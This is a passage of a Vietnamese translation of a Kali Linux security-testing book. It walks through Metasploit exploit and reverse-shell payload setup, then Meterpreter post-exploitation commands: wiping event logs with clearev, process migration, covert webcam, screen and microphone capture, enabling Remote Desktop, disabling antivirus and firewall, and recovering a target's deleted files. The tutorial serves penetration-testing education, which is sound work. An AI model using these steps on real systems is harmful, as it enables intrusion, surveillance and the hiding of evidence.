  • 16. 4. Sau đó hãy nhập: “set target<ID#>” để thiết đặt mục tiêu thực tế. 5. Và gõ “showoptions” lại để cho thấy rằng bạn đãthực sự hoàn thành việc đặt mục tiêu.
  • 17. Cuối cùng, dù là nó không được dùng trong việc khai thác lỗ hổng thông thường, nhưng chúng ta có thể đặt tuỳ chọn nâng cao nếu muốn. Để xem các tuỳ chọn nâng cao, hãy gõ “show advanced”. Giờ chúng ta đã thấy cách chọn 1 khai thác lỗ hổng và cách để thiết đặt nó. Trên nhiều khai thác thì chúng ta cũng cần đặt payload. (payload là gì thì đọc lại ở trên nhé) 2.2.3. Picking a Payload: Sẽ thật buồncười nếu mà bạn chọnkhai thác lỗ hổng của 1 cỗ máy nhưng lại không làm được gì? Các payloads (hiểu là các đoạn mã độc, dù thường payload nó nghĩa là khối hàng) sẽ cho phép bạn làm việc với hệ thống đã bị chọn khai thác. Metasploits có vô số payloads khác nhau bạn có thể dùng. Để thấy được chúng, hãy gõ “show payloads”.
  • 18. Hoặc bạn có thể gõ “set payload” và nhấn phím Tab 2 lần. Thao tác này sẽ nhắc Metasploits hỏi bạn rằng nếu bạn muốn xem tất cả các payloads có sẵn. Hầu hết các payloads đều được trình bày ở định dạng “Operating System/Shell Type” như dưới đây:  set payload/osx/x86/shell_reverse_tcp  set payload/linux/x64/shell_reverse_tcp  set payload/windows/shell_reverse_tcp  set payload/windows/meterpreter/reverse_tcp Đơn giản là bạn chỉ cần chọn chính xác OS (Hệ điều hành) cho mục tiêu của bạn và chọn payload bạn muốn. Các dạng của payloads thường là các shells (trình thông dịch dòng lệnh), có thể là 1 remote shell thông thường hoặc 1 Meterpreter shell. Nếu bạn muốn trình thông dịch lệnh đầu cuối chạy các lệnh từ xa, hãy dùng trình thông dịch lệnh thông thường. Cònnếu mà bạnmuốn khả năng thao tác với các phiên và chạy các câu lệnh mở rộng thì bạn sẽ dùng đến Meterpreter shell.
  • 19. Có nhiều cách khác nhau để các chương trình độc hại có thể liên lạc trở lại với bên hệ thống tấn công. Tôi thường hay thích dùng reserve_tcp (tcp đảo ngược) shells một khi chúng được thực thi trên máy mục tiêu, nó sẽ kết nối trở lại với hệ thống Kali. Ưu điểm lớn nhất của cách này là máy nạn nhân có thể khởi tạo được kết nối ra ngoài, nó thường sẽ không bị chặn bởi tường lửa, như kết nối từ ngoài vào… @@ Khi chúng ta đã biết được payload chúng ta muốn dùng, ta dùng lệnh “set” để đặt: 6. Vậy là trong ví dụchúng ta hãy dùng Meterpreter Shell cho hệ thống Windows và nó đã kết nối trở lại chúng ta thông qua TCP. Bây giờ payload của chúng ta đã được đặt, giờ chúng ta chỉ cần đặt thiết lập cho nó. 2.2.4. Setting Payload Options: Thiết lập cho payload cũng giống như thiết lập cho khai thác lỗ hổng. Thường thiết lập cho payload sẽ bao gồm cả địa chỉ IP và cổng (port) cho quá trình khai thác để kết nối đến. Công việc này cũng sẽ được thực thi bằng lệnh “set”. 7. Gõ “show options” để xem mà các cài đặt mà payload cần:
  • 20. Như bạn có thể thấy trong hình, một đề mục mới có tiêu đề “Payload options” đã xuất hiện khi chúng ta chạy lệnh. Chúng ta cũng có 3 tuỳ chọn mới mà chúng ta có thể đặt, “EXITFUNC, LHOST, and LPORT”. Chúng ta sẽ để cài đặt EXITFUNC và LPORT mặc định. 8. Nhưng chúng ta cần đặt địa chỉ LHOST hoặc địa chỉ local host. Đây là IP cho máy Kali. Khi mà thiết lập payload đã được đặt, chúng ta sẽ khởi chạy khai thác. 2.2.5. Running the Exploit: Khi bắt đầu, bạn nên chạy lệnh “showoptions” lần cuối và kiểm tra kỹ xem mọi thứ đã được đặt đúng chưa.
  • 21. Như bạn nhận thấy ở trên, có vẻ như chúng ta đã quên địa chỉ IP của hệ thống mục tiêu (đích) RHOST. Chúng ta đã đặt RHOST cho ví dụ trước, nhưng khi dùng khai thác khác, chúng ta không bao giờ đặt lại địa chỉ IP điều khiển từ xa của máy host. Điều này có thể xảy ra khi bạn chạy nhiều khai thác hoặc tấn công, cho nên là bạn hãy kiểm tra kỹ cài đặt của mình. 9. Đặt địa chỉ RHOST bằng cách gõ: set RHOST 192.168.0.20 Kiểm tra kỹ mọi thứ lần cuối, mọi thứ có vẻ ổn hơn rồi: Payload của chúng ta đã được chọn, và các thiết lập đã được đặt. Giờ chúng ta sẽ khởi chạy khai thác.
  • 22. 10. Để làm vậy, đơn giản chỉ cần gõ lệnh “exploit” Quá trình khai thác sau đó sẽ chạy và khi payload được thực thi thì sẽ thành công và nếu như khai thác đang hoạt động, chúng ta sẽ nhận được 1 kết nối từ xa. 2.2.6. Connecting to a Remote Session: Khi mà chúng ta tiến hành khai thác thành công chúng ta có thể sẽ thấy vài phiên làm việc từ xa đã được khởi tạo. Để kiểm tra phiên vừa được tạo hãy nhập lệnh “sessions”. Bất cứ phiên làm việc nào được tạo ra sẽ được hiển thị cùng với địa chỉ IP, tên máy tính, tên người dùng của máy mục tiêu. Giờ chúng ta đã có thể kết nối tương tác tới phiên bằng câu lệnh “sessions -i<ID#>” như được hiển thị ở mẫu trên. Khi chúng ta kết nối tới phiên làm việc, câu nhắc lệnh sẽ đổi thành metepreter: Chúng ta sẽ nói rõ hơn về Meterpreter Shell ở chương sau. Nhưng giờ, nếu chúng ta nhập lệnh “shell” có thể thấy là chúng ta thực sự có 1 remote shell cho Windows. Kết luận
  • 23. Trong phần giới thiệu khá dài về Metasploit này chúng ta đã được học về cách thực hiện một số chức năng tìm và sử dụng khai thác lỗ hổng cơ bản. Chúng ta cũng có nói qua về việc dùng các payloads và thiết đặt một số chức năng cần thiết. Metasploit có thể làm rất nhiều thứ, chúng ta chỉ nói về một số chức năng cơ bản. Nếu mà bạn vẫn cảm thấy mông lung, không phải lo lắng quá! Chúng ta sẽ nói rõ hơn về toàn bộ tiến trình khai thác Metepreter ở phần sau. Tiếp theo đây chúng ta sẽ nói về Meterpreter Shell, một giao diện thao tác rất thú vị và tuyệt vời mà chúng ta có thể dùng để thao tác trên hệ thống đã bị khai thác thành công. III. METERPRETER SHELL Sau khi khai thác thành công, Meterpreter Shell cho phép bạn thực hiện nhiều chức năng khác nhau cùng với 1 remote shell đầy đủ. Khi mà bạn có kết nối từ xa thì Meterpreter sẽ rất phù hợp để điều khiển hệ thống, tuỳ thuộc vào mục đíchcủa bạn là gì; Meterpreter Shell thì được ưa chuộng hơn là một remote shell đầu cuối. Meterpreter shell cung cấp cho chúng ta một tập các lệnh và tiện ích có thể chạy để hỗ trợ rất nhiều trong việc kiểm tra bảo mật. Ví dụ như có các lệnh để lôi giá trị băm của mật khẩu ra và thu thập dữ liệu, cài đặt hệ thống. Ngoài ra Meterpreter còncó một số côngcụ thú vị, ví dụnhư bạn có thể bật webcam lên và chụp ảnh, kích hoạt microphone và chụp ảnh màn hình desktop những gì người dùng đang làm. Trong phần này, chúng ta sẽ giới thiệu nhanh về Meterpreter và vài tính năng của nó. 3.1. Các câu lệnh cơ bản Hãy bắtđầu vớimột chiếc máy mà chúng ta đãlừa chạyđược chươngtrình backdoor. Một khi mà chúng ta đã khởi chạy được chương trình backdoorđược kếtnối tới máy
  • 24. Kali của chúng ta và một phiên làm việc đã được tạo. Sau đó chúng ta sẽ được tự động đưa vào phiên làm việc như ở dưới: Khi mà đã kết nối được tới phiên chúng ta có dấu nhắc lệnh Meterpreter: Giờ hãy xem Meterpreter làm được gì, bắt đầu bằng việc dùng lệnh help để xem các lựa chọn sẵn có. Khi làm như vậy, chúng ta thấy các lệnh được chia thành các phần. Các lệnh này là: - Core Commands (các lệnh chính) - File System Commands (các lệnh hệ thống tệp) - Networking Commands (các lệnh về hệ thống mạng) - System Commands (các lệnh về hệ thống) - User Interface Commands (các lệnh về giao diện người dùng) - Webcam Commands (các lệnh về webcam) - Và 3 lệnh Priv
  • 25. Chúng ta sẽ không nói về tất cả các lệnh, nhưng sẽ xem xét vài lệnh sâu hơn một chút. 3.1.1. Core Commands Là một người dùng căn bản, bạn có thể sẽ chỉ dùng tới background, help, load, migrate, run và exit trong danh sách này. o Background: Background cho phép bạn để phiên chạy nền sau đó thì có thể quay trở lại dấu nhắc lệnh msf hoặc truy cập phiên khác. Bạn có thể quay trở lại phiên của bạn bằng câu lệnh “session -i <session #>”.
  • 26. o Load and run: Những lệnh này cho phép bạn dùng các mô-đun và lệnh bổ sung trong Meterpreter. o Exit: thoát khỏi Meterpreter. 3.1.2. File System Commands Khi mà bạn có Meterpreter Shell, về cơ bản bạn đang xử lý 2 hệ thống tệp, cục bộ và từ xa. Các lệnh về hệ thống tệp cho phép bạn tương tác với cả hai. Về cơ bản, bạn có thể dùng các lệnh Linux tiêu chuẩn để di chuyển và sử dụng hệ thống tệp. Nhưng làm thế nào để bạn phân biệt được giữa hệ thống tệp cục bộ và hệ thống tệp từ xa mà bạn đang tương tác? Tất cả các lệnh được giả định sử dụng trên hệ thống tệp từ xa. Ví dụ để xem được danh sách thư mục của hệ thống từ xa, chỉ cần dùng lệnh “ls”.
  • 27. Nếu như chúng ta đã tạo thư mục test ở hệ thống từ xa, chúng ta có thể điều hướng đến nó và sau đó liệt kê nội dung của nó ra: Khi mà bạn muốn di chuyển giữa các tệp hệ thống (Kali) cục bộ với nhau, có một số lệnh mà bạn có thể dùng: o Getlwd & lpwd: Hiển thị thư mục làm việc cục bộ (Local Working Directory) o Lcd: Thay đổi thư mục cục bộ Sau đó nếu như chúng ta muốn đổi thư mục làm việc cục bộ và thành thư mục Desktop trên hệ thống Kali thì làm như sau:
  • 28. Dowload cho phép bạn tải về các tệp từ hệ thống mục tiêu, Upload cho phép bạn gửi tệp lên hệ thống từ xa. Vậy nếu như chúng ta muốn upload 1 tệp, chỉ cần kết nối với thư mục cục bộ và từ xa mà bạn định tải lên, khởi chạy câu lệnh upload cùng với tên tệp bạn muốn gửi đi, như dưới đây: Chúng ta đã kết nối tới máy Desktop trên hệ thống Kali nơi mà chúng ta có các tệp công cụ. Sau đó chúng ta kết nối tới thư mục “test”, và chỉ cần dùng lệnh “upload” để chuyển tệp. Dowload cũng hoạt động như vậy, dùng lệnh dowload và tên tệp để lấy tệp từ hệ thống từ xa và lưu vào hệ thống cục bộ:
  • 29. Giờ hãy cùng nhìn qua các lệnh về hệ thống mạng (Networking Commands) 3.1.3. Network Commands Những lệnh này cho phép bạn hiển thị và thao tác với một số tính năng mạng cơ bản. o Arp: Hiển thị danh sách địa chỉ MAC từ xa tới địa chỉ IP thực o Ifconfig & ipconfig: cả2 đều hiển thị bất kì giao diện mạng nào trên hệ thống từ xa. o Netstat: Hiển thị danh sách các kết nối được kích hoạt. o Portfwd & route: cho phép bạn thực hiện một số cuộc tấn công định tuyến nâng cao. Mặc dù chúng ta không đề cập đến trong cuốn sách này, bằng cách dùng 2 câu lệnh này chúng ta có thể tận dụng những máy đã bị khai thác để tấn công các máy khác trong hệ thống mạng. 3.1.4. System Commands Dưới đây là danh sách các lệnh hệ thống. Chúng ta sẽ không nói đến tất cả chúng, tuy nhiên có thể đọc sơ qua để làm quen với chúng:
  • 30. CLEAREV: Lệnh nhỏ hữu ích này sẽ xoá toàn bộ nhật ký ở máy từ xa. Chúng ta có thể xoá dấu vết của mình và nhật ký hệ thống trên máy mục tiêu. Hãy nhìn vào nhật ký của hệ thống Windows 7 này, chúng ta thấy nó chứa đầy đủ các sự kiện: Một vài sự kiện có thể bao gồm cả những việc chúng ta đã làm. Vậy chúng ta có thể xoá sạch nhật ký từ xa từ hệ thống Kali chỉ bằng cách gõ lệnh “clearev”:
  • 31. Các nhật ký về ứng dụng, hệ thống và bảo mật đã được dọndẹp. Nếu chúng ta nhìn vào nhật ký bảo mật một lần nữa thì nó chỉ hiện đúng 1 bản ghi, “Log Clear”: Rõ ràng điều này sẽ cản trở bất cứ ai muốn phân tích nhật ký. Tuy nhiên nếu mà có sự kiện bạn muốn bỏ, bạn có thể xoá sạch nhật ký. Lệnh GETPID & PS: Khi bạn dùng Metepreter, hai trong số các lệnh mà bạn sẽ dùng hơi thường xuyên là getpid và ps. o Getpid: cho bạn biết trình thông dịch lệnh (shell) đang chạy trên ID tiến trình nào. o Ps: hiện danh sách tất cả các tiến trình đang chạy trên hệ thống từ xa. Vậy nếu như ta gõ: “getpid” ta sẽ được: Ta sẽ thấy ID tiến trình mà trình thông dịch lệnh đang dùng. Nếu ta gõ “ps” ta sẽ thấy toàn bộ các tiến trình:
  • 32. Nếu chúng ta đi sâu hơn xuống danh sách, tìm kiếm số pid 3824 sẽ được như sau: 3824 3796 powershell.exe x86 1 WIN-LOANLOTDQLUFred C:WindowsSystem32WindowsPowerShellv1.0powershell.exe Điều này nghĩa là ID tiến trình là 3824, nó cũng cho thấy chúng ta đang chạy tiến trình powershell.exe với tư cách là người dùng “fred”. Thông tin này sẽ rất hữu ích nếu như chúng ta muốn “dichuyển” tiến trình bậc thấp này lên 1 tiến trình có quyền truy cập cao hơn. …. (đoạn sau hơi khó hiểu nên ko dịch, chỉ là nó sẽ nói về lệnh “migrate” là để thay đổi cái process ID - PID) Đơn giản chỉ cần tìm PID của tiến trình mà bạn muốn dùng (1736 trên hệ thống) và gõ “migrate <PID#>”
  • 33. Giờ chúng ta sẽ nói tiếp về chụp ảnh màn hình và webcam từ xa! Webcam video: Gõ lệnh “run webcam -h” để hiện ra menu trợ giúp: Sau đó gõ “run webcam” kèm với bất cứ tuỳ chọn nào bạn muốn. Điều này sẽ hiển thị webcam từ xa của hệ thống mục tiêu. Nếu bạn dùng tuỳ chọn “l” nó sẽ liên tục chụp ảnh webcam cho tới khi bạn ấn Ctrl + C. Phía bên máy mục tiêu sẽ liên tục có cảnh báo bởi đèn của webcam sáng lên. Ngoài ra bạn cũng ko thể biết được ai đang điều khiển webcam của bạn. Screenshots
  • 34. Dùng lệnh “screenshot”chúng ta có thể chụp được bất cứ cái gì đang hiện trên màn hình của máy mục tiêu. Mở file ra và chúng ta sẽ thấy: Sound Recording: Ghi âm cũng tương tự vậy, chỉ cần gõ lệnh: “run sound_recorder -h” để xem các tuỳ chọn, hoặc nếu như bạn muốn lấy nhanh 1 đoạn ghi âm 30s, chạy lệnh mà không cần bất cứ tuỳ chọn nào:
  • 35. Mở file lưu về hệ thống ra và nghe: Running Scripts Chủ đề cuối mà chúng ta nói trong phần này là chạy các Scripts (script: là 1 tệp mà bên trong đó chứa các đoạn mã lệnh). Meterpreter có hơn 200 scripts mà bạn có thể chạy để mở rộng hơn nữa bộ công cụ khai thác lỗ hổng của mình. … Để xem toàn bộ các scripts có sẵn, gõ “Run <tab><tab>” Sau đó hãy nhập “run” cùng với tên script bạn muốn chạy. CHECKVM: (sách dài dòng, tóm lại đây là lệnh để kiểm tra xem mục tiêu nó đang chạy là máy thật hay máy ảo) Như bạn thấy trong ảnh máy mục tiêu của chúng ta là 1 máy ảo VMware. GETGUI: (đây là lệnh đểcho phép kíchhoạt và sửdụng chức năng Remote Desktop trên Windows, sách lắm chỗ dài vcd Tuấn tóm lược lại nhé) Đầu tiên hãy gõ “run getgui -e” để kích hoạt Remote Desktop:
  • 36. Chạy lại chương trình và nhập username và password: Giờ mở lại Terminal lên và chạy lệnh “rdesktop”có sẵntrong Kali Linux để kết nối: -p có nghĩa là rdesktop báo bạn nhập mật khẩu. Nó an toàn hơn khi bạn không gửi đoạn kí tự mật khẩu rõ ràng qua. Sau khi đăng nhập được xong thì chúng ta sẽ thấy được màn hình Windows ở đây:
  • 37. Có vài scripts khác như: try to turn off Antivirus (cố tắt chương trình diệt virus đi), disable the target’s firewall (tắt tường lửa bên máy mục tiêu), lấy thông tin đăng nhập từ nhiều chương trình như Firefox, các chương trình ftp… Bạn có thể bỏ thêm thời gian và tham khảo. Remote Shell Cuối cùng thì hãy cùng xem cách để lấy được dấu nhắc lệnh C: (nó kiểu như cái dấu nhắc lệnh ở trên Comman Promt trên Windows ý). Điều này sẽ rất dễ khi chúng ta có 1 phiên làm việc Meterpreter. Chỉ cần chạy lệnh “shell”.
  • 38. Vậy đó, và giờ chúng ta có thể chạy bất cứ câu lệnh DOS nào chúng ta muốn. Playing with Modules - Recovering Deleted Files from Remote System Ta sẽ nói về chút gì đó nâng cao hơn nhé. Giờ hãy coi cách dùng các modules Meterpreter để khôi phục tập tin đã bị xoá ở ổ đĩa từ xa. Script “recovery_files” cho phép khôi phục tệp tin mà người dùng mục tiêu đã xoá đi khỏi hệ thống. Điều này rất hữu ích, vì tệp bị xoá có thể chứa những thông tin rất quan trọng. … Ví dụ giờ ta sẽ tạo ra một tập tin “AccountPasswords.txt”và lưu bản sao của tập tin “Discovery.pdf” vào ổ E: Sau đó ta xoá các tệp đi. Using the module Module yêu cầu bạn cần mở 1 phiên làm việc tới mục tiêu. Khi bạn đã có được phiên làm việc từ xa thành công, gõ “background” để tạm thời thoát khỏi phiên, quay trở lại dấu nhắc lệnh msf và dùng module:
  • 39. Trong ảnh trên bạn có thể thấy có một số cài đặt cần được thiết lập. Nếu mà chỉ muốn xem có những tệp nào, bạn chỉ cần thiết lập cài đặt “Drive” và “Session” như trên. Sau đó hãy chạy khai thác: Quá trình khai thác đã được chạy và đã tìm thấy 4 tệp có thể khôi phục được, 2 cái chúng ta đã xoá và 2 cái còn lại. Bây giờ nếu chỉ muốn khôi phục các tệp txt, đơn giản hãy gõ lệnh “set FILES txt” và chạy lại quá trình khai thác:
  • 40. Nó đã khôi phục lại tệp txt và lưu ở thư mục /root/.msf4/loot. Nếu chúng ta truy cập vào thư mục đó thì chúng ta có thể tìm và mở được tệp vừa lưu: Và xem tệp: … Thế còn nếu mà muốn khôi phục tệp pdf thì sao?
  • 41. Làm lại lần nữa, gõ lệnh “set FILES pdf” và chạy lại khai thác: Cũng như lần trước thì tệp được khôi phục đã được lưu tại thư mục loot. Chúng ta có thể mở tệp PDF ra để xác nhận rằng nó đã được khôi phục thành công:
  • 42. Bạn cũng có thể đặt module để khôi phục nhiều kiểu tệp cùng một lúc bằng cách liệt kê tất cả những gì bạn muốn trong biến FILES và phân tách chúng bằng dấu phẩy. Cuối cùng, các tệp cũng có thể được khôi phục bằng mã số ID (nhưng ko đề cập ở đây). Recovery File Module Wrap-Up (theo Tuấn dịch thì nó là kết thúc module khôi phục tệp) (Đoạn đầu này hiểu là: ví dụ như ổ đĩa chỉ chứa dữ liệu bình thường thì module này sẽ hoạt động khá là tốt, chứ như những ổ đĩachính, chẳng hạn như ổ C có các tệp hệ thống, chương trình ấy, thì nó sẽ chứa khá nhiều tệp cần khôi phục và module hoạt động có vẻ không ổn)
  • 43. Tôi đã thử chạy trên ổ đĩa khởi động máy ảo Windows 7 và nhận thấy rằng nó mất rất nhiều thời gian để chạy. Có thể nó vẫn tìm ra được hơn nghìn tệp đấy, nhưng ta thấy điều này không khả thi trong cuộc sốngthực, vì nó sẽ tạo ra rất nhiều lưu lượng truy cập mạng đáng ngờ. Đây là hình ảnh chụp được gói tin mạng chạy trên một ổ đĩa có nhiều tệp bị xoá: Nhưng mà thực sự thì có bao nhiêu người ghi lại và phân tích lưu lượng mạng này? Module này hoạt động rất tốt trên các ổ đĩanhỏ mà chứa ít tệp bị xoá. Nó rất nhanh và hiệu quả. 3.2. Tổng kết Kali không dành cho tất cả mọi người. Đây không phải là bản phân phốiLinux thông thường để chạy trên máy tính xách tay bìnhthường. Kali được thiết kế để chạy dưới quyền root. Nó không được bảo mật và được cấu hình giống an toàn như một bản phân phối Linux thông thường. Kali Linux là một công cụ tấn công, không phải là một công cụ phòng thủ.
  • 44. Kali cũng không phải là trò đùa. Nếu thông thạo kĩ năng, công cụ sử dụng để tấn công mục tiêu Internet. Và khi gây ra một số thiệt hại thực sựvới các công cụ mà nó đi kèm thì có thể gặp rắc rối thực sự với pháp luật và thậm chí là giang hồ đấy. Với tất cả những gì đã trình bày ở trên, Kali vẫn là một công cụ tuyệt vời để các chuyên gia bảo mật sử dụng chuyên nghiệp. Kali cũng có một số công cụ tuyệt vời cho các nhà phát triển (đặc biệt là các nhà phát triển web) kiểm tra các ứng dụng của họ trước khi chúng public.
  • 45. TÀI LIỆU THAM KHẢO  https://drive.google.com/file/d/1B27-sLwlS04FyFoTj2n6- ISNkdSFkddD/view?usp=sharing (Basic Security Testing with Kali Linux)